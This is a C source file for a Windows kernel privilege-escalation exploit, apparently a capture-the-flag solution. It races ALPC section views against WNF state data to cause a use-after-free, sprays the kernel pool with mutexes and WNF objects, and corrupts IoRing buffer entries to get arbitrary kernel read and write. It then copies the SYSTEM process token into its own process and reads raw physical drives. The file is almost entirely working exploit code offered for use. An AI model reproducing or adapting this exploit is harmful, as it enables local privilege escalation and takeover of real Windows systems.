#include "exploit.h"
#include <stdbool.h>
#ifdef REMOTE
#define WNF_STARVER_SPRAY (0x20)
#define bp()
#else
#define WNF_STARVER_SPRAY (0x40)
// #define bp() asm volatile("int3");
// #define bp()
#endif
volatile long long flag = -1;
volatile long long go = 0;
HANDLE readPipe;
HANDLE writePipe;
HANDLE serverPort;
HANDLE alpcSection = NULL;
PALPC_DATA_VIEW_ATTR dataViewAttrs;
void *sectionViewAddr = NULL;
#define WNF_TRIGGER_SPRAY (0x00)
#define WNF_MAXBUFSIZE (0x1000)
#define COUNT (1)
WNF_STATE_NAME TriggerNames[WNF_TRIGGER_SPRAY];
WNF_STATE_NAME StarverNames[WNF_STARVER_SPRAY];
typedef struct {
HANDLE Section;
void *ViewBase;
} SectionView;
void CreatePortSection(HANDLE port, HANDLE *OutHandle) {
NTSTATUS status;
SIZE_T actualSize = 0;
status =
NtAlpcCreatePortSection(port, 0, NULL, 0x1000, OutHandle, &actualSize);
if (status < 0) {
printf("NtAlpcCreatePortSection = 0x%lx\n", status);
while (1) {
}
}
}
void *AttachView(HANDLE port, HANDLE SectionHandle) {
NTSTATUS status;
msg_view_attr attrs = {0};
PALPC_DATA_VIEW_ATTR dv = &attrs.view_attr;
dv->Flags = 0;
dv->SectionHandle = SectionHandle;
dv->ViewBase = NULL;
dv->ViewSize = 0x1000;
status = NtAlpcCreateSectionView(port, 0, dv);
if (status < 0) {
printf("NtAlpcCreateSectionView = 0x%lx\n", status);
}
return dv->ViewBase;
}
SectionView *SingletonView(HANDLE port) {
NTSTATUS status;
SectionView *singleton = (SectionView *)malloc(sizeof(SingletonView));
CreatePortSection(port, &singleton->Section);
singleton->ViewBase = AttachView(port, singleton->Section);
return singleton;
}
BOOL ValidWnf(SprayedData *data) {
return (memcmp(&data->Header.PoolTag, "Wnf ", 4) == 0 &&
data->Header.PreviousSize == 0 && data->Header.PoolIndex == 0);
}
#define TOKEN_OFFSET (0x248)
#define IMAGE_FILENAME_OFFSET (0x338)
void *eprocess = NULL;
void *SystemToken = NULL;
#define RELEASE_COUNT (10000)
#define RELEASE_OFFSET (1)
SprayedData *Sprays;
SprayedData *FindHeapObj(char *tag, int startIdx, size_t range) {
int SearchIdx = startIdx;
while (true) {
int idx = SearchIdx++;
if (memcmp(&Sprays[idx].Header.PoolTag, tag, 4) == 0) {
return &Sprays[idx];
}
if (idx >= (range / 0xa0)) {
printf("failed to find %s object!\n", tag);
while (true) {
}
}
}
}
#define IORINGS (0x1000)
#define IORING_BUFFERS ((0xa0 - 0x10) / sizeof(void *))
HIORING IoRingHandles[IORINGS];
HIORING VictimRing;
HANDLE VictimReadPipe;
HANDLE VictimWritePipe;
_IOP_MC_BUFFER_ENTRY fake;
void KernelRead(UINT64 addr, void *buf, ULONG len) {
ULONG nbytes;
HRESULT result;
IORING_CQE cqe;
IORING_BUFFER_REF requestDataBuffer =
IoRingBufferRefFromIndexAndOffset(0, 0);
IORING_HANDLE_REF requestDataFile =
IoRingHandleRefFromHandle(VictimWritePipe);
memset(&fake, 0, sizeof(fake));
fake.Type = 0xc02;
fake.Size = 0x80;
fake.AccessMode = 1;
fake.ReferenceCount = 1;
fake.Address = (void *)addr;
fake.Length = len;
result = BuildIoRingWriteFile(VictimRing, requestDataFile,
requestDataBuffer, len, 0,
FILE_WRITE_FLAGS_NONE, 0, IOSQE_FLAGS_NONE);
if (!SUCCEEDED(result)) {
printf("Failed building IO ring write file structure: 0x%lx\n", result);
goto Exit;
}
result = SubmitIoRing(VictimRing, 0, 0, NULL);
if (!SUCCEEDED(result)) {
printf("Failed submitting IO ring: 0x%lx\n", result);
goto Exit;
}
result = PopIoRingCompletion(VictimRing, &cqe);
if ((!SUCCEEDED(result)) || (!NT_SUCCESS(cqe.ResultCode))) {
printf("Failed reading kernel memory 0x%lx\n", cqe.ResultCode);
goto Exit;
}
if (!ReadFile(VictimReadPipe, buf, len, &nbytes, NULL)) {
printf("Failed reading pipe\n");
}
if (nbytes != len) {
printf("Read mismatch %lu != %lu\n", nbytes, len);
}
Exit:;
}
void KernelWrite(UINT64 addr, void *buf, ULONG len) {
ULONG nbytes;
HRESULT result;
IORING_CQE cqe;
IORING_BUFFER_REF requestDataBuffer =
IoRingBufferRefFromIndexAndOffset(0, 0);
IORING_HANDLE_REF requestDataFile =
IoRingHandleRefFromHandle(VictimReadPipe);
if (!WriteFile(VictimWritePipe, buf, len, &nbytes, NULL)) {
printf("Failed writing pipe\n");
}
if (nbytes != len) {
printf("Write mismatch %lu != %lu\n", nbytes, len);
}
memset(&fake, 0, sizeof(fake));
fake.Type = 0xc02;
fake.Size = 0x80;
fake.AccessMode = 1;
fake.ReferenceCount = 1;
fake.Address = (void *)addr;
fake.Length = len;
result = BuildIoRingReadFile(VictimRing, requestDataFile, requestDataBuffer,
len, 0, 0, IOSQE_FLAGS_NONE);
if (!SUCCEEDED(result)) {
printf("Failed building IO ring read file structure: 0x%lx\n", result);
goto Exit;
}
result = SubmitIoRing(VictimRing, 0, 0, NULL);
if (!SUCCEEDED(result)) {
printf("Failed submitting IO ring: 0x%lx\n", result);
goto Exit;
}
result = PopIoRingCompletion(VictimRing, &cqe);
if ((!SUCCEEDED(result)) || (!NT_SUCCESS(cqe.ResultCode))) {
printf("Failed writing kernel memory 0x%lx\n", cqe.ResultCode);
goto Exit;
}
Exit:;
}
UINT64 KernelReadQ(UINT64 addr) {
UINT64 q;
KernelRead(addr, (void *)&q, sizeof(q));
return q;
}
void KernelWriteQ(UINT64 addr, UINT64 val) {
KernelWrite(addr, &val, sizeof(val));
}
void Win() {
char drive[32];
char buf[512];
DWORD bytesRead;
HANDLE hFile;
printf("dumping flags\n");
for (int i = 0; i < 10; i++) {
snprintf(drive, sizeof(drive), "\\\\?\\PhysicalDrive%d", i);
hFile =
CreateFileA(drive, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == NULL || hFile == INVALID_HANDLE_VALUE) {
printf("failed to open flag file 0x%lx\n", GetLastError());
}
printf("reading flag into buffer\n");
if (!ReadFile(hFile, buf, sizeof(buf), &bytesRead, NULL)) {
printf("failed to read flag file\n");
}
buf[bytesRead] = 0;
printf("nbytes = %lu\n", bytesRead);
printf("flag = %s\n", buf);
}
printf("exploit done!\n");
fflush(stdout);
}
/*
* Creates WNF State Names
*/
DWORD Trigger(void *ctx) {
NTSTATUS status;
char StateData[0x1000];
memset(StateData, 0xf3, sizeof(StateData));
char ch[COUNT];
memset(ch, 0x41, sizeof(ch));
DWORD TaskIndex = 0;
HANDLE handle =
AvSetMmThreadCharacteristicsA("DisplayPostProcessing", &TaskIndex);
if (handle == NULL) {
printf("failed!\n");
}
// printf("worked!\n");
// int prio = GetThreadPriority(GetCurrentThread());
// printf("prio = %d\n", prio);
int iter = 0;
while (!go) {
}
while (1) {
if ((iter++ % 50000) == 0) {
printf(".");
}
for (int i = 0; i < WNF_STARVER_SPRAY; i++) {
status = NtCreateWnfStateName(
&StarverNames[i], WnfTemporaryStateName, WnfDataScopeUser,
FALSE, 0, WNF_MAXBUFSIZE, pSD);
if (status != 0) {
printf("NtCreateWnfStateName failed! error=0x%lx\n",
GetLastError());
return -1;
}
}
asm volatile("" ::: "memory");
flag = 1;
asm volatile("" ::: "memory");
status = WriteFile(writePipe, &ch, sizeof(ch), NULL, NULL);
if (status != 1) {
printf("status = 0x%lx\n", status);
break;
}
while (flag) {
}
}
printf("trigger done!\n");
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_BELOW_NORMAL);
while (1) {
Yield();
}
}
/*
* Deletes ALPC Views
* Creates WNF State Data
*/
DWORD Starver(void *ctx) {
NTSTATUS status;
char ch;
char StateData[0x1000];
memset(StateData, 0xf3, sizeof(StateData));
BlobWithView *fake = (BlobWithView *)&StateData;
fake->Blob.u1 = 0;
fake->Blob.ReferenceCount = 1;
fake->Blob.ResourceId = 6;
fake->View.Region = NULL;
DWORD TaskIndex = 0;
HANDLE handle =
AvSetMmThreadCharacteristicsA("DisplayPostProcessing", &TaskIndex);
if (handle == NULL) {
printf("failed!\n");
}
// printf("worked!\n");
// int prio = GetThreadPriority(GetCurrentThread());
// printf("prio = %d\n", prio);
while (!go) {
}
Sleep(1000);
while (1) {
if (flag) {
status = ReadFile(readPipe, &ch, 1, NULL, NULL);
if (status != 1) {
printf("status = 0x%lx\n", status);
goto done;
}
NtAlpcDeleteSectionView(serverPort, 0, sectionViewAddr);
for (int i = 0; i < WNF_STARVER_SPRAY; i++) {
if (dataViewAttrs->ViewBase != 0 &&
dataViewAttrs->ViewBase != sectionViewAddr) {
printf("!\n");
goto done;
}
if (dataViewAttrs->ViewSize != 0x1000) {
printf("!\n");
goto done;
}
UINT64 Leak = *(UINT64 *)&StarverNames[i];
fake->View.Address = Leak;
status =
NtUpdateWnfStateData(&StarverNames[i], &StateData[0x10],
(0x90 - 0x10), 0, 0, 0, 0);
if (status != 0) {
printf("NtUpdateWnfStateData failed! error=0x%lx\n",
GetLastError());
printf("state = 0x%lx\n", status);
return -1;
}
}
asm volatile("" ::: "memory");
flag = 0;
asm volatile("" ::: "memory");
}
}
done:
printf("starver done!\n");
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_BELOW_NORMAL);
while (1) {
Yield();
}
}
int main() {
NTSTATUS status;
HANDLE self = GetCurrentThread();
Init();
#ifdef REMOTE
printf("GREETING FROM REMOTE!\n");
#endif
status = CreatePipe(&readPipe, &writePipe, NULL, 0x1000);
printf("CreatePipe = 0x%lx\n", status);
status = NtAlpcCreatePort(&serverPort, NULL, NULL);
printf("NtAlpcCreatePort = 0x%lx\n", status);
printf("serverPort = %p\n", serverPort);
SIZE_T actualSize = 0;
status = NtAlpcCreatePortSection(serverPort, 0, NULL, 0x1000, &alpcSection,
&actualSize);
printf("NtAlpcCreatePortSection: 0x%lx\n", status);
printf("alpcSection: %p\n", alpcSection);
msg_view_attr attrs = {0};
dataViewAttrs = &attrs.view_attr;
PALPC_MESSAGE_ATTRIBUTES msgAttrs = &attrs.msg_attr;
msgAttrs->AllocatedAttributes = ALPC_MESSAGE_VIEW_ATTRIBUTE;
msgAttrs->ValidAttributes = ALPC_MESSAGE_VIEW_ATTRIBUTE;
dataViewAttrs->Flags = 0;
dataViewAttrs->SectionHandle = alpcSection;
dataViewAttrs->ViewBase = NULL;
dataViewAttrs->ViewSize = 0x1000;
ALPC_MESSAGE message;
RtlZeroMemory(&message, sizeof(message));
message.PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE);
status = NtAlpcCreateSectionView(serverPort, 0, dataViewAttrs);
printf("NtAlpcCreateSectionView: 0x%lx\n", status);
printf("View Base: %p\n", dataViewAttrs->ViewBase);
sectionViewAddr = dataViewAttrs->ViewBase;
// HIGH_PRIORITY_CLASS
// REALTIME_PRIORITY_CLASS
status = SetPriorityClass(GetCurrentProcess(), HIGH_PRIORITY_CLASS);
printf("SetPriorityClass = 0x%lx\n", status);
status = SetThreadAffinityMask(self, AFFINITY_CORE0);
printf("SetThreadAffinityMask = 0x%lx\n", status);
status = SetThreadPriority(self, THREAD_PRIORITY_ABOVE_NORMAL);
printf("SetThreadPriority = 0x%lx\n", status);
status = SetThreadPriorityBoost(self, TRUE);
printf("SetThreadPriorityBoost = 0x%lx\n", status);
HANDLE starvers[COUNT];
for (int i = 0; i < COUNT; i++) {
starvers[i] = CreateThread(NULL, 0, Starver, NULL, 0, NULL);
status = SetThreadAffinityMask(starvers[i], AFFINITY_CORE0);
printf("SetThreadAffinityMask = 0x%lx\n", status);
// status = SetThreadPriority(starvers[i],
// THREAD_PRIORITY_TIME_CRITICAL); printf("SetThreadPriority = 0x%lx\n",
// status);
}
HANDLE trigger = CreateThread(NULL, 0, Trigger, NULL, 0, NULL);
status = SetThreadAffinityMask(trigger, AFFINITY_CORE1);
printf("SetThreadAffinityMask = 0x%lx\n", status);
// status = SetThreadPriority(trigger, THREAD_PRIORITY_TIME_CRITICAL);
// printf("SetThreadPriority = 0x%lx\n", status);
EmptyPagedPool();
Sleep(1000);
go = 1;
while (1) {
dataViewAttrs->ViewBase = NULL;
dataViewAttrs->ViewSize = 0x1000;
status = NtAlpcCreateSectionView(serverPort, 0, dataViewAttrs);
if (dataViewAttrs->ViewBase != 0 &&
dataViewAttrs->ViewBase != sectionViewAddr) {
printf("!\n");
break;
}
if (dataViewAttrs->ViewSize != 0x1000) {
printf("!\n");
break;
}
}
SuspendThread(trigger);
for (int i = 0; i < COUNT; i++) {
SuspendThread(starvers[i]);
}
status = SetThreadAffinityMask(self, AFFINITY_CORE1 | AFFINITY_CORE0);
// printf("SetThreadAffinityMask = 0x%lx\n", status);
// status = SetThreadPriority(self, THREAD_PRIORITY_NORMAL);
// printf("SetThreadPriority = 0x%lx\n", status);
DWORD TaskIndex = 0;
HANDLE handle =
AvSetMmThreadCharacteristicsA("DisplayPostProcessing", &TaskIndex);
if (handle == NULL) {
printf("failed!\n");
}
printf("got mismatch (ViewBase): %p\n", dataViewAttrs->ViewBase);
printf("got mismatch (ViewSize): 0x%llx\n", dataViewAttrs->ViewSize);
struct _WNF_STATE_NAME uafed =
*(struct _WNF_STATE_NAME *)&dataViewAttrs->ViewBase;
printf("before mutex spray!: ");
char temp[0x1000];
ULONG dataSize = sizeof(temp);
ULONG stamp = 0;
status = NtQueryWnfStateData(&uafed, 0, NULL, &stamp, &temp, &dataSize);
printf("status = 0x%lx\n", status);
printf("dataSize = 0x%lx\n", dataSize);
if (status == 0) {
// for (int i = 0; i < dataSize; i += 8) {
// printf("offset %p = %p\n", (void *)(UINT64)i,
// (void *)*(UINT64 *)&temp[i]);
// }
} else {
printf("NtQueryWnfStateData = 0x%lx\n", status);
}
char id[0x20];
WCHAR name[0x100];
memset(name, 0, sizeof(name));
char *spray = (char *)name;
memset(spray, 0x20, 0x90);
_WNF_STATE_DATA *data = (_WNF_STATE_DATA *)spray;
data->Header = 0x41414141;
data->AllocatedSize = 0x10001;
data->DataSize = 0x10001;
data->ChangeStamp = 0x42424242;
// printf("spray len = %llu\n", strlen(spray));
for (int i = 0; i < 0x20000; i++) {
sprintf(id, "%d", i);
memcpy(spray + 0x10, id, strlen(id));
HANDLE m = CreateMutexW(NULL, FALSE, name);
if (m == NULL) {
printf("%d mutex failed!\n", i);
while (1) {
}
}
}
allocate_wnf(1000, SetViewBaseToWNFName);
printf("mutex spray done!\n");
// printf("before query: ");
// bp()
#define LEAK_SIZE (0x20000)
char *leaks = malloc(LEAK_SIZE);
dataSize = LEAK_SIZE;
stamp = 0;
status = NtQueryWnfStateData(&uafed, 0, NULL, &stamp, leaks, &dataSize);
printf("dataSize = 0x%lx\n", dataSize);
if (status == 0) {
// for (int i = 0; i < min(dataSize, 0x200); i += 8) {
// printf("offset %p = %p\n", (void *)(UINT64)i,
// (void *)*(UINT64 *)&leaks[i]);
// }
} else {
printf("NtQueryWnfStateData = 0x%lx\n", status);
while (1) {
}
}
// leak points to chunk + 0x20
// - 0x10 for pool header
// - 0x10 for _WNF_STATE_DATA
Sprays = (SprayedData *)((UINT64)leaks - 0x20);
WNF_STATE_NAME NamesToFree[RELEASE_COUNT];
int SearchIdx = RELEASE_OFFSET;
int WriteIdx = 0;
while (SearchIdx < (0x1000 / 0xa0)) {
int idx = SearchIdx++;
if (memcmp(&Sprays[idx].Header.PoolTag, "Wnf ", 4) == 0) {
WNF_STATE_NAME *name =
(WNF_STATE_NAME *)&(Sprays[idx].Obj.View.Address);
NamesToFree[WriteIdx++] = name[0];
}
}
int IoRings = WriteIdx / 2;
int SectionViews = WriteIdx / 2;
printf("found %d Wnf objects\n", WriteIdx);
printf("allocating %d IoRings\n", IORINGS);
printf("IORING_BUFFERS = 0x%llx\n", IORING_BUFFERS);
IORING_BUFFER_INFO IoRingBuffers[IORING_BUFFERS];
IORING_CREATE_FLAGS IoRingFlags;
IoRingFlags.Required = IORING_CREATE_REQUIRED_FLAGS_NONE;
IoRingFlags.Advisory = IORING_CREATE_ADVISORY_FLAGS_NONE;
HRESULT result;
memset(IoRingBuffers, 0, sizeof(IoRingBuffers));
IoRingBuffers[0].Address =
VirtualAlloc(NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (!IoRingBuffers[0].Address) {
printf("VirtualAlloc failed\n");
while (true) {
}
}
IoRingBuffers[0].Length = 8;
for (int i = 0; i < IORINGS; i++) {
result = CreateIoRing(IORING_VERSION_3, IoRingFlags, 0x1000, 0x1000,
&IoRingHandles[i]);
if (!SUCCEEDED(result)) {
printf("failed to create IoRing %d\n", i);
printf("CreateIoRing = 0x%lx\n", result);
while (true) {
}
}
}
for (int i = 0; i < IoRings; i++) {
status = NtDeleteWnfStateData(&NamesToFree[i], NULL);
if (status != 0) {
printf("failed to delete Wnf %d\n", i);
printf("NtDeleteWnfStateData = 0x%lx\n", status);
while (true) {
}
}
}
for (int i = 0; i < IORINGS; i++) {
result = BuildIoRingRegisterBuffers(IoRingHandles[i], IORING_BUFFERS,
IoRingBuffers, 0);
if (!SUCCEEDED(result)) {
printf("failed to register IoRing buffer %d\n", i);
printf("BuildIoRingRegisterBuffers = 0x%lx\n", result);
while (true) {
}
}
UINT32 submitted;
result = SubmitIoRing(IoRingHandles[i], 0, INFINITE, &submitted);
if (!SUCCEEDED(result)) {
printf("failed to submit IoRing %d\n", i);
printf("SubmitIoRing = 0x%lx\n", result);
while (true) {
}
}
}
printf("IoRing spray done!\n");
for (int i = IoRings; i < IoRings + SectionViews; i++) {
status = NtDeleteWnfStateData(&NamesToFree[i], NULL);
if (status != 0) {
printf("failed to delete Wnf %d\n", i);
printf("NtDeleteWnfStateData = 0x%lx\n", status);
while (true) {
}
}
}
#define VIEW_SPRAY_COUNT (0x200)
SectionView *views[VIEW_SPRAY_COUNT];
for (int i = 0; i < VIEW_SPRAY_COUNT; i++) {
views[i] = SingletonView(serverPort);
}
printf("requerying\n");
stamp = 0;
status = NtQueryWnfStateData(&uafed, 0, NULL, &stamp, leaks, &dataSize);
if (status == 0) {
} else {
printf("NtQueryWnfStateData = 0x%lx\n", status);
while (true) {
}
}
eprocess =
FindHeapObj("AlVi", RELEASE_OFFSET, 0x10000)->Obj.View.OwnerProcess;
printf("found eprocess!\n");
printf("eprocess = %p\n", eprocess);
_Static_assert(sizeof(_IOP_MC_BUFFER_ENTRY) == 0x80, "Size");
_IOP_MC_BUFFER_ENTRY **buffers =
(_IOP_MC_BUFFER_ENTRY **)&FindHeapObj("IrRB", RELEASE_OFFSET, 0x1000)
->Obj;
buffers[0] = &fake;
status = CreatePipe(&VictimReadPipe, &VictimWritePipe, NULL, 0x1000);
if (status < 0) {
printf("failed to create pipes\n");
while (true) {
}
}
printf("writing fake ioring buffers\n");
status = NtUpdateWnfStateData(&uafed, leaks, 0x1000, 0, 0, 0, 0);
if (status < 0) {
printf("failed to writeback fake heap data\n");
printf("NtUpdateWnfStateData = 0x%lx\n", status);
while (1) {
}
}
char buf[8];
char expected[8];
memset(expected, 0x42, sizeof(expected));
for (int i = 0; i < IORINGS; i++) {
VictimRing = IoRingHandles[i];
memset(buf, 0x41, sizeof(buf));
KernelRead((UINT64)&expected, (void *)&buf, sizeof(buf));
if (memcmp(buf, expected, sizeof(buf)) == 0) {
printf("found corrupted ring!\n");
printf("%p\n", (void *)*(UINT64 *)&buf);
break;
}
}
UINT64 ACTIVE_PROCESS_FLINK_OFFSET = 0;
DWORD64 pid = GetProcessId(GetCurrentProcess());
for (int i = 0; i < 0x700; i += 8) {
DWORD64 guess = KernelReadQ((UINT64)eprocess + i);
if (guess == pid) {
printf("found UniqueProcessId at 0x%x\n", i);
ACTIVE_PROCESS_FLINK_OFFSET = i + 8;
printf("ActiveProcessLinks at 0x%llx\n",
ACTIVE_PROCESS_FLINK_OFFSET);
break;
}
}
char *Target = "System"; // "winlogon.exe";
void *Process = eprocess;
while (true) {
UINT64 ImageFileName[3];
ImageFileName[0] = KernelReadQ((UINT64)Process + IMAGE_FILENAME_OFFSET);
ImageFileName[1] =
KernelReadQ((UINT64)Process + IMAGE_FILENAME_OFFSET + 8);
ImageFileName[2] = 0;
char *name = (char *)ImageFileName;
printf("Process(%p) is (%s)\n", Process, name);
if (strcmp(Target, name) == 0) {
break;
}
void *Flink =
(void *)KernelReadQ((UINT64)Process + ACTIVE_PROCESS_FLINK_OFFSET);
void *Blink = (void *)KernelReadQ((UINT64)Process +
ACTIVE_PROCESS_FLINK_OFFSET + 8);
// printf("Process(%p)->Flink = Process(%p)\n", Process, Flink);
// printf("Process(%p)->Blink = Process(%p)\n", Process, Blink);
Process = Blink - ACTIVE_PROCESS_FLINK_OFFSET;
}
printf("Found %s!\n", Target);
printf("Target process = %p\n", Process);
void *SystemToken = (void *)KernelReadQ((UINT64)Process + TOKEN_OFFSET);
printf("SystemToken = %p\n", SystemToken);
UINT64 test = 0;
KernelWriteQ((UINT64)&test, 1337);
if (test != 1337) {
printf("KernelWrite test failed!\n");
while (true) {
}
}
KernelWriteQ((UINT64)eprocess + TOKEN_OFFSET, (UINT64)SystemToken);
Win();
printf("done\n");
getchar();
}